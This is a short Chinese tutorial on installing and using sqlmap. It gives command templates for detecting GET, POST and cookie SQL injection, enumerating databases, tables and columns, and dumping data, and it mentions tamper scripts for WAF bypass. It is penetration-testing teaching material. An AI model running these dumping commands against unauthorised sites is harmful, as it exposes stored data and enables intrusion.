小迪教程第八天——注入工具sqlmap的使用

1、安装过程

1）安装python2.7

2）在python2.7的目录中解压sqlmap

3)在桌面建立快捷方式

2、使用方法

1）get类型注入

Sqlmap.py -u 注入地址
检测指定站点注入情况，默认会以get类型注入检测

2）post类型注入

3）cookie类型注入

Sqlmap.py -u 注入地址 –cookie “参数” –level 2
以cookie注入提交检测网站

4）获取表信息
列表名： Sqlmap.py -u 注入地址 –tables

5)列指定表名下的列名

Sqlmap.py -u 注入地址 –columns -T 表名

6)取指定表名列名下的数据

Sqlmap.py -u 注入地址 –dump -C “列名” -T 表名

7）其他使用
Sqlmap.py -u 注入地址 检测指定站点注入情况
默认会以get类型注入检测

Sqlmap.py -u 注入地址 –data “参数”
以post注入提交检测网站

Sqlmap.py -u 注入地址 –cookie “参数” –level 2
以cookie注入提交检测网站

Sqlmap.py -u 注入地址 –dbs 列数据库

Sqlmap.py -u 注入地址 –current-db 当前数据库名

Sqlmap.py -u 注入地址 –tables 列表名

Sqlmap.py -u 注入地址 –columns -T 表名 列指定表名下的列名

Sqlmap.py -u 注入地址 –dump -C “列名” -T 表名 获取指定表名下的列名的数据

3、高级技能

使用sqlmap中的其他插件，如使用tamper脚本绕过waf注入

4、其他内容

asp语言
Request 全部接受
Request.querystring get传递
Request.form post传递
Request.cookie cookie传递

php语言
REQUEST_GET
POST_COOKIE
$_SERVER